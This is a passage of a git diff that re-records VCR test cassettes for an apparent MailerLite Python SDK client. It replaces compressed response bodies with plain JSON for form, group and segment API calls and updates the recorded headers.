1","active_count":1,"sent_count":4,"opens_count":4,"open_rate":{"float":1,"string":"100%"},"clicks_count":2,"click_rate":{"float":0.5,"string":"50%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-09-23 + 08:12:28"},{"id":"107641605251400900","name":"Grupa2","active_count":9,"sent_count":8,"opens_count":7,"open_rate":{"float":0.875,"string":"87.5%"},"clicks_count":2,"click_rate":{"float":0.25,"string":"25%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-12-15 + 15:43:54"}],"has_split_tests":false,"split_test_finished":false,"split_test_enabled":false,"split_percentage":0,"is_split_test_winner":false,"children":[],"parent_id":null,"original_name":null,"analytics_reset_at":null,"uses_survey":false,"uses_new_builder":false},{"id":"139883342944274178","account_id":"83510","type":"popup","slug":"NUiDWA","name":"New + Form Name","created_at":"2024-12-05 12:52:31","conversions_count":0,"opens_count":0,"conversion_rate":{"float":0,"string":"0%"},"conversions_count_including_children":0,"opens_count_including_children":0,"conversion_rate_including_children":{"float":0,"string":"0%"},"settings":{"double_optin":true,"groot_id":20508195,"form_type":"popup","triggers":["timeout"],"timeout_seconds":5,"scroll_percentage":50,"frequency":1,"frequency_unit":"months","visibility":"always","url_list":[],"url_list_strict":null,"hide_on":[],"schedule":false},"last_registration_at":null,"active":false,"is_broken":false,"warning_messages":[],"has_content":true,"can_choose_template":false,"can":{"update":true},"used_in_automations":false,"warnings":[],"double_optin":true,"screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/forms\/139883342944274178\/1284x12842024-12-05-12:52:53.png","has_missing_groups":false,"groups":[{"id":"100093655191127682","name":"Grupa + 1","active_count":1,"sent_count":4,"opens_count":4,"open_rate":{"float":1,"string":"100%"},"clicks_count":2,"click_rate":{"float":0.5,"string":"50%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-09-23 + 08:12:28"}],"has_split_tests":false,"split_test_finished":false,"split_test_enabled":false,"split_percentage":0,"is_split_test_winner":false,"children":[],"parent_id":null,"original_name":null,"analytics_reset_at":null,"uses_survey":false,"uses_new_builder":false}],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/forms\/popup?page=1","last":"https:\/\/connect.mailerlite.com\/api\/forms\/popup?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":1,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/forms\/popup?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/forms\/popup","per_page":10,"to":4,"total":4,"aggregations":{"popup":4,"embedded":1,"promotion":0}}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ed4330c78cee298-BEG + - 9818a34059d4e293-BEG Cache-Control: - no-cache, private Connection: @@ -48,7 +43,7 @@ interactions: Content-Type: - application/json Date: - - Thu, 05 Dec 2024 12:56:59 GMT + - Fri, 19 Sep 2025 11:10:38 GMT Server: - cloudflare Transfer-Encoding: @@ -57,14 +52,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '119' + - '106' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/forms-update.yml b/tests/vcr_cassettes/forms-update.yml index f7c18f5..bee27fd 100644 --- a/tests/vcr_cassettes/forms-update.yml +++ b/tests/vcr_cassettes/forms-update.yml @@ -15,29 +15,17 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: PUT - uri: https://connect.mailerlite.com/api/forms/139883342944274178 + uri: https://connect.mailerlite.com/api/forms/141163052291589265 response: body: - string: !!binary | - H4sIAAAAAAAAA4RUTY/bOAz9KwGB3pyJ7cSdRLcCxe5tbsUeJoWgyIzDHVlyRWqyQZH/Xigf40w6 - u3sxzKdHUXrk009ojRhQP4FaUFDNV8vlfL6oV4tF/bioHpdQgLE2JC/6xFjOm6qEAuQwICgYwpAG - KIBd6kDB0zf6+tcXKMCbPi8/4X7yR4j95CnHBdiIRrDVRkBBXdaLaVVPy2ZS1aqp1bzKlOBfMTIF - z/pUF1RZQBjwXTyydDSC+QJbF8x5kSWSz8cpP8Hxgx01eetSS77Tdkeujejvi/wb5a7uh7T/OAqj - CPmOM6kNaeNQh0HIg5KYsIAuhnAWui6bclmtmgK2Ifb6Tm6J1HUYGdQzCPUYksD34vqrGW3wLYNq - CmAbg3N6wGjRi+kQVFMWsI34I6G3B1DVTaSTp9ybPnjZMRTwSkwbciQHUGDc3hwymqLTjlhAPX8f - I51vawWUT84VsKMWdfBnDtsdtskhqK1xjMcCnGHRETtiiUayouYt1Vih1yu3AGK9ieEli3tB9ib6 - rHqPzKZDPhfZmdw+L5in5KyoNaeOpKE9jUkGjwUkxlaT1yZJ6E/F+X7ry5YfdYltRPS8C6JTdKBg - JzKwWs/WM5YQTYcPXQidQzMQP9jQr2e9IYfRkeB0zObpEEO7no3Iepa7zevZ70Zcz6p6ufgnf0bj - TM/GaeYPg+/gLEBPzFmaLoY0jNe6hs9Xq5dluZp/bppqVVX14+dlPdr2z5gGM6ng2oir8ao8wV6u - YX3ny0t878jqxgZVefGkI/vyztAZ+H8vJ89pwzbSBtub7ORt8FuK/Tt0E5K375C/k3+5LXr3HM2n - 5WpazyflUlW1qpdwvAwVD45EC7KMgo6Y3pIn3mH70Rp6s3G/Ld3asTwN+E3KnrzH+JYxvix5IAcT - 8fIYn70SInXkjdPn5l0M5I07CFnWERnlxlqJkTWn+IqHtwonzONebxK59q308fgLAAD//wMANK9t - AB8GAAA= + string: '{"data":{"id":"141163052291589265","account_id":"83510","type":"popup","slug":"2HLgfJ","name":"New + Form Name","created_at":"2024-12-19 15:52:57","conversions_count":0,"opens_count":0,"conversion_rate":{"float":0,"string":"0%"},"conversions_count_including_children":0,"opens_count_including_children":0,"conversion_rate_including_children":{"float":0,"string":"0%"},"settings":{"double_optin":true,"groot_id":20939090,"form_type":"popup","triggers":["timeout"],"timeout_seconds":5,"scroll_percentage":50,"frequency":1,"frequency_unit":"months","visibility":"always","url_list":[],"url_list_strict":null,"hide_on":[],"schedule":false,"needs_content_refresh":false},"last_registration_at":null,"active":false,"is_broken":false,"warning_messages":[],"has_content":true,"can_choose_template":false,"can":{"update":true},"used_in_automations":false,"warnings":[],"double_optin":true,"screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/forms\/141163052291589265\/1284x12842024-12-19-15:56:53.png","has_missing_groups":false,"groups":[{"id":"100093655191127682","name":"Grupa + 1","active_count":1,"sent_count":4,"opens_count":4,"open_rate":{"float":1,"string":"100%"},"clicks_count":2,"click_rate":{"float":0.5,"string":"50%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-09-23 + 08:12:28"},{"id":"107641605251400900","name":"Grupa2","active_count":9,"sent_count":8,"opens_count":7,"open_rate":{"float":0.875,"string":"87.5%"},"clicks_count":2,"click_rate":{"float":0.25,"string":"25%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-12-15 + 15:43:54"}],"has_split_tests":false,"split_test_finished":false,"split_test_enabled":false,"split_percentage":0,"is_split_test_winner":false,"children":[],"parent_id":null,"original_name":null,"analytics_reset_at":null,"uses_survey":false,"uses_new_builder":false}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ed4330f2d92e297-BEG + - 9818a3434d3fe28f-BEG Cache-Control: - no-cache, private Connection: @@ -47,7 +35,7 @@ interactions: Content-Type: - application/json Date: - - Thu, 05 Dec 2024 12:57:00 GMT + - Fri, 19 Sep 2025 11:10:38 GMT Server: - cloudflare Transfer-Encoding: @@ -56,14 +44,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '117' + - '104' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/groups-create.yml b/tests/vcr_cassettes/groups-create.yml index 587e243..091eb73 100644 --- a/tests/vcr_cassettes/groups-create.yml +++ b/tests/vcr_cassettes/groups-create.yml @@ -18,15 +18,11 @@ interactions: uri: https://connect.mailerlite.com/api/groups response: body: - string: '{"data":{"id":"75121902033569657","name":"Test group","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2022-12-21 - 16:57:08"}}' + string: '{"data":{"id":"165971156405323676","name":"Test group","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2025-09-19 + 11:47:09"}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d227b3ba7a77f7-VIE + - 9818d8bd2b00e296-BEG Cache-Control: - no-cache, private Connection: @@ -34,19 +30,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:57:08 GMT + - Fri, 19 Sep 2025 11:47:09 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '119' + x-user_id: + - '106223' status: code: 201 message: Created diff --git a/tests/vcr_cassettes/groups-delete.yml b/tests/vcr_cassettes/groups-delete.yml index 527edb3..e0e0cf2 100644 --- a/tests/vcr_cassettes/groups-delete.yml +++ b/tests/vcr_cassettes/groups-delete.yml @@ -15,33 +15,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - uri: https://connect.mailerlite.com/api/groups/75121902033569657 + uri: https://connect.mailerlite.com/api/groups/165971156405323676 response: body: string: '' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d227bb4c46cb9c-VIE + - 9818d8c1b8410db0-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 21 Dec 2022 16:57:09 GMT + - Fri, 19 Sep 2025 11:47:09 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '115' + x-user_id: + - '106223' status: code: 204 message: No Content @@ -64,16 +70,11 @@ interactions: uri: https://connect.mailerlite.com/api/groups/121212 response: body: - string: !!binary | - H4sIAAAAAAAAA6rmUlBQUFDKTS0uTkxPVbJSUPLLVygsTS2qVChKLS7NKSlWSMsvUsjNT0nNUYh2 - LCiIifEFsYtjYtyL8ksLoFSsgqERCCpx1QIAAAD//wMAZSzHO1IAAAA= + string: "{\n \"message\": \"No query results for model [App\\\\Models\\\\Group\\\\Group] + 121212\"\n}" headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d227bd19f2c298-VIE + - 9818d8c3bd713267-BEG Cache-Control: - no-cache, private Connection: @@ -83,17 +84,27 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:57:10 GMT + - Fri, 19 Sep 2025 11:47:10 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-RateLimit-Limit: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '114' + x-user_id: + - '106223' status: code: 404 message: Not Found diff --git a/tests/vcr_cassettes/groups-get-subscribers-in-group.yml b/tests/vcr_cassettes/groups-get-subscribers-in-group.yml index 81a929f..f201e63 100644 --- a/tests/vcr_cassettes/groups-get-subscribers-in-group.yml +++ b/tests/vcr_cassettes/groups-get-subscribers-in-group.yml @@ -13,22 +13,13 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: GET - uri: https://connect.mailerlite.com/api/groups/75121902033569657/subscribers?limit=5&page=1 + uri: https://connect.mailerlite.com/api/groups/165971156405323676/subscribers?limit=5&cursor=1 response: body: - string: !!binary | - H4sIAAAAAAAAA7SRwWrDMAyGX6Xo0JOpk5a01GXsDcbudRlOprRmjp3JciiEvPvImpKNXdebQPr1 - f/rVw7thA+p4EuCs/4igeqgtRQYFF+Y2Ki21rIL3WPGqMdYhOcu4qkKjpWmtlmcKqY1a7op8ne+z - dbbZFNv9tthpGVMZK7IlUnxuzRmfchDgzCO3t4QdKJ+cE+Dxyrd6ENDgeGgPVSJCz2+jAlQuoKbQ - 3BUj29yZEjn2kMjNIyU6ULB05jOFw+KVsLMhRRBgKrYdgqqNiziISfa4HG8g+Q9npjQb/+Z9wSsv - lvQN/Yf1JKA1fPlv2PEfSFOghQAOdyoObByobBi+AAAA//8DANCgGcuDAgAA + string: '{"data":[],"links":{"first":null,"last":null,"prev":null,"next":null},"meta":{"path":"https:\/\/connect.mailerlite.com\/api\/groups\/165971156405323676\/subscribers","per_page":5,"next_cursor":null,"prev_cursor":null}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d227b91e767888-VIE + - 9818d8c0c8e9562e-BEG Cache-Control: - no-cache, private Connection: @@ -38,19 +29,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:57:09 GMT + - Fri, 19 Sep 2025 11:47:09 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '116' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/groups-list.yml b/tests/vcr_cassettes/groups-list.yml index e2e596d..4af6993 100644 --- a/tests/vcr_cassettes/groups-list.yml +++ b/tests/vcr_cassettes/groups-list.yml @@ -16,22 +16,15 @@ interactions: uri: https://connect.mailerlite.com/api/groups?limit=10&page=1 response: body: - string: !!binary | - H4sIAAAAAAAAA9STTW8TMRCG/8rqlejJbez9SIgR4sgJxIFbU0WOM0lNvPbij6go2v+OdkOatCAh - yqknj0fzzrx+bB+wVklB3h5g1pCYNVyIup5XM17XTVU1YHCqJUh8+lF8DD53YFA6mT0ttc8uQQqG - SC6dtpzBd+Tis/0yqESQB2ysV8d0TMG4LST4G/QM2hq9u5SNib/rsot5FXUwK1pfqLPT3m1MaM/Z - imHls9NP6r5lt7scGkglWi+HWSh5WV6L8rrkhRCyFrIq0bNHVqIUc17yqmqm82kzO7P6SjEV2z/S - 4q+GFn8xLVGIqWxmkr9Ff8dgjdvF0ZQJcSi8T6mLcjFZTLR3jnS6aZWxFKxJdKN9u5ioziwmI8D4 - oVNbei/AYNX/qLtAe0iXrWVw9JCOcc/Q0vADDtA5hOFmBsX4qjfBt2MwDD6nfx3n9oAc7KmjVSuy - kLiy6nv274ovgfbG5/h4/5AbZSMNr2eUvRzCcZC46JxCPjd+6uczPaTiKoymfvNyx9CpdP+vZgaY - FE5AOEPykOWwJGUhy77/CQAA//8DAMDRzX1XBAAA + string: '{"data":[{"id":"100093655191127682","name":"Grupa 1","active_count":1,"sent_count":4,"opens_count":4,"open_rate":{"float":1,"string":"100%"},"clicks_count":2,"click_rate":{"float":0.5,"string":"50%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-09-23 + 08:12:28"},{"id":"107641605251400900","name":"Grupa2","active_count":9,"sent_count":8,"opens_count":7,"open_rate":{"float":0.875,"string":"87.5%"},"clicks_count":2,"click_rate":{"float":0.25,"string":"25%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-12-15 + 15:43:54"},{"id":"165971156405323676","name":"Test group","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2025-09-19 + 11:47:09"}],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/groups?page=1","last":"https:\/\/connect.mailerlite.com\/api\/groups?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":1,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/groups?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/groups","per_page":10,"to":3,"total":3}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d227b5688fc2eb-VIE + - 9818d8be6896e291-BEG Cache-Control: - no-cache, private Connection: @@ -41,19 +34,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:57:08 GMT + - Fri, 19 Sep 2025 11:47:09 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '118' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/groups-update.yml b/tests/vcr_cassettes/groups-update.yml index 6580015..c79b09a 100644 --- a/tests/vcr_cassettes/groups-update.yml +++ b/tests/vcr_cassettes/groups-update.yml @@ -15,21 +15,14 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: PUT - uri: https://connect.mailerlite.com/api/groups/75121902033569657 + uri: https://connect.mailerlite.com/api/groups/165971156405323676 response: body: - string: !!binary | - H4sIAAAAAAAAA4SNTQqDMBQGryIfdKeQRNQ2h+gVJManpD8vEpN2Id69tHSh3XQ5A8Ms6E000Atc - D42mkkqehBJlWdWnumqQg82doHGmZzYGn6bsI3IYG92DWusTR2iRYyaOG/QT8fzDbTCR3rfh5s23 - isHxCA1xwJrD3py9brOP+N8lnlM32+A66jd1Yut5cOG+s51PbHfmkvi6nQYykfr2/YISShVSFUpm - stZVo8UR6/oCAAD//wMATN3qVToBAAA= + string: '{"data":{"id":"165971156405323676","name":"New group name","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2025-09-19 + 11:47:09"}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d227b71f94c232-VIE + - 9818d8bfbf28b018-BEG Cache-Control: - no-cache, private Connection: @@ -39,19 +32,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:57:09 GMT + - Fri, 19 Sep 2025 11:47:09 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '117' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/segments-get-subscribers.yml b/tests/vcr_cassettes/segments-get-subscribers.yml index b8d94d5..a87bc51 100644 --- a/tests/vcr_cassettes/segments-get-subscribers.yml +++ b/tests/vcr_cassettes/segments-get-subscribers.yml @@ -16,24 +16,16 @@ interactions: uri: https://connect.mailerlite.com/api/segments/139794711363717070/subscribers response: body: - string: !!binary | - H4sIAAAAAAAAA+xVXWvbMBT9K+XC3txG8kccC8Y22lE61oZ1pStdilFkJVFjS0IfpW3Ifx+OG8cJ - 3VrG9jDYm871PZbuOT7WAgrqKJDvCxAFEMBRlmYY4wGOsz5OozSCAHhFRQkExB2V9P3MMD4/MBYC - sI46b4EAZU7c8bqivGG87q20Mq6ucOmAoACU5tLmTPknzErB5t1C3ZAb6vjm8QYKndOiMNxaINKX - ZQDWjy0zYsyLnDogEKIw3sfhPor3cEjCPokyCMDLnb6GzAyn7gWmLl5qmQheFhbIAiSt+PrdJbUu - 7xaYqjSVDxvopTMbKFy71jMlW1qtbgsec5HrBiwDmBrlte3YhtJ+jPsoCRMcI5QhBMHTmeDYeE1D - CJ5MWgseNdasYbxjULzlxwImpaqFwPWxjJDT1aboDSyfMbJrXctEHWbD27Jmw/aSKTkRptqqjpWX - bKty6+W8u+mOo1FtF072cELiiCQxLG/qkeoWITtfgtJOyFy02m4pmmQ4DZMBzgYrv9sgTJV5ZQ4q - Kj0t2xyEOzKHv84BRr+ZhO3pY/z6JDzH/FkSMEliEg+eSQIcGT8VeydTZeB/Iv7pRNwEUAo5X5k7 - Eca67n+utcnwu/Va8vt6x5lz2pJRb9RjSkrO3EGdHm5K4fgBU9WoR7UY9SyfVlw6O+qt7p44xTjq - RylOUYpGvVYPY98xb6wyb/nDJ319eNI/vfgQnd1+uT+7mN+fPZ7g4dHHZHh0mnw+/DRhx5key/PH - y+NseH01Q1+vzsvx1akYyvOH4ttlVotd8friW4CmbvYXjgsBaG5yTaccSIIaWfJmBiDwR6ZodG9f - urJr+QMAAP//AwABmgHp0wcAAA== + string: '{"data":[{"id":"139791118149617373","email":"ivana@hrcek.rs","status":"active","source":"import","sent":1,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 12:26:39","unsubscribed_at":null,"created_at":"2024-12-04 12:26:39","updated_at":"2025-05-13 + 06:34:09","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[{"id":"107641605251400900","name":"Grupa2","active_count":9,"sent_count":8,"opens_count":7,"open_rate":{"float":0.875,"string":"87.5%"},"clicks_count":2,"click_rate":{"float":0.25,"string":"25%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-12-15 + 15:43:54"}],"opted_in_at":null,"optin_ip":null},{"id":"107641591725819839","email":"igor@hrcek.rs","status":"active","source":"manual","sent":3,"opens_count":3,"clicks_count":0,"open_rate":100,"click_rate":0,"ip_address":null,"subscribed_at":"2023-12-15 + 15:43:41","unsubscribed_at":null,"created_at":"2023-12-15 15:43:41","updated_at":"2025-05-13 + 06:34:09","fields":{"name":"Drugi Igor","last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[{"id":"107641605251400900","name":"Grupa2","active_count":9,"sent_count":8,"opens_count":7,"open_rate":{"float":0.875,"string":"87.5%"},"clicks_count":2,"click_rate":{"float":0.25,"string":"25%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-12-15 + 15:43:54"}],"opted_in_at":null,"optin_ip":null}],"links":{"first":null,"last":null,"prev":null,"next":"https:\/\/connect.mailerlite.com\/api\/segments\/139794711363717070\/subscribers?cursor=eyJpZCI6MTA3NjQxNTkxNzI1ODE5ODM5LCJfcG9pbnRzVG9OZXh0SXRlbXMiOnRydWV9"},"meta":{"path":"https:\/\/connect.mailerlite.com\/api\/segments\/139794711363717070\/subscribers","per_page":50,"next_cursor":"eyJpZCI6MTA3NjQxNTkxNzI1ODE5ODM5LCJfcG9pbnRzVG9OZXh0SXRlbXMiOnRydWV9","prev_cursor":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecc2c3c2af6e290-BEG + - 9818a34eab500380-BEG Cache-Control: - no-cache, private Connection: @@ -43,7 +35,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 13:34:14 GMT + - Fri, 19 Sep 2025 11:10:40 GMT Server: - cloudflare Transfer-Encoding: @@ -52,14 +44,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '117' + - '95' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/segments-get.yml b/tests/vcr_cassettes/segments-get.yml index aedbcc9..04208af 100644 --- a/tests/vcr_cassettes/segments-get.yml +++ b/tests/vcr_cassettes/segments-get.yml @@ -16,15 +16,11 @@ interactions: uri: https://connect.mailerlite.com/api/segments/139794711363717070 response: body: - string: !!binary | - H4sIAAAAAAAAA1zMMQqDQBBG4avID+lWmNndZMnU6VJ6AFl0IhJdg5lOvHsQUoTU7+Nt6LNlyIax - h4DDNV1jYg6XkDhRIjiUPCsEze1eNTrMWgwOtlieIN5heWlp12x6XB7Tkg3CDm9bxzIcT6ITdodu - GrvnP6Qf+GWrZtO+PSo8+VizrylWHMQHiWfs+wcAAP//AwB/Dyb5tQAAAA== + string: '{"data":{"id":"139794711363717070","name":"New Name","total":2,"open_rate":{"float":0.75,"string":"75%"},"click_rate":{"float":0,"string":"0%"},"created_at":"2024-12-04 + 13:23:45"}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecc2c3a9cf8e290-BEG + - 9818a34cee14b01b-BEG Cache-Control: - no-cache, private Connection: @@ -34,7 +30,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 13:34:14 GMT + - Fri, 19 Sep 2025 11:10:40 GMT Server: - cloudflare Transfer-Encoding: @@ -43,14 +39,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '118' + - '96' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/segments-list.yml b/tests/vcr_cassettes/segments-list.yml index 8871703..d019e40 100644 --- a/tests/vcr_cassettes/segments-list.yml +++ b/tests/vcr_cassettes/segments-list.yml @@ -16,19 +16,13 @@ interactions: uri: https://connect.mailerlite.com/api/segments?limit=10&page=1 response: body: - string: !!binary | - H4sIAAAAAAAAA6SSQWvCQBCF/0p4UE9rk03SBreUXnorlIJHFdnGURc3m3QzESHkv5dERdueirdh - 982bNx/TYqVZQ81amBUUZDLJJmkmZfKYZDKLsggCThcEhenrWzClTUGOIcAlawsVC5QVuaXXTFAt - 1rbUDCUFavbGbXrPKLpDJ5Bbk+9+C6Mr4UnmSTOtlv0v4ihOxzIeR2kgExUnKn1AtxCwxu3qwcb4 - uhdumatazcN5mJfOUc73hTaWvDVM93lZzENdmXlYH/PXL5Xe0LOEgNW39Vee9lCusVbA0YGPdSdQ - UA+2Rd54T46XfccAZu3LYij60Zfn00qzFo23Z0erP8lCYWT1V1M+BR+e9qZsagjonM2eoNba1tSJ - U9stII6j5JU3++Zi/TPROx04GPkh1p80C4FK8/b/cXqg5M9Qov7MBjina5Nd9w0AAP//AwBC1XYY - sgIAAA== + string: '{"data":[{"id":"139794711363717070","name":"New Name","total":2,"open_rate":{"float":0.75,"string":"75%"},"click_rate":{"float":0,"string":"0%"},"created_at":"2024-12-04 + 13:23:45","automations_using_segment_count":0}],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/segments?page=1","last":"https:\/\/connect.mailerlite.com\/api\/segments?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":1,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/segments?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/segments","per_page":10,"to":1,"total":1}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecc2c38ee83e290-BEG + - 9818a34bfd20b01e-BEG Cache-Control: - no-cache, private Connection: @@ -38,7 +32,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 13:34:14 GMT + - Fri, 19 Sep 2025 11:10:40 GMT Server: - cloudflare Transfer-Encoding: @@ -47,14 +41,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - 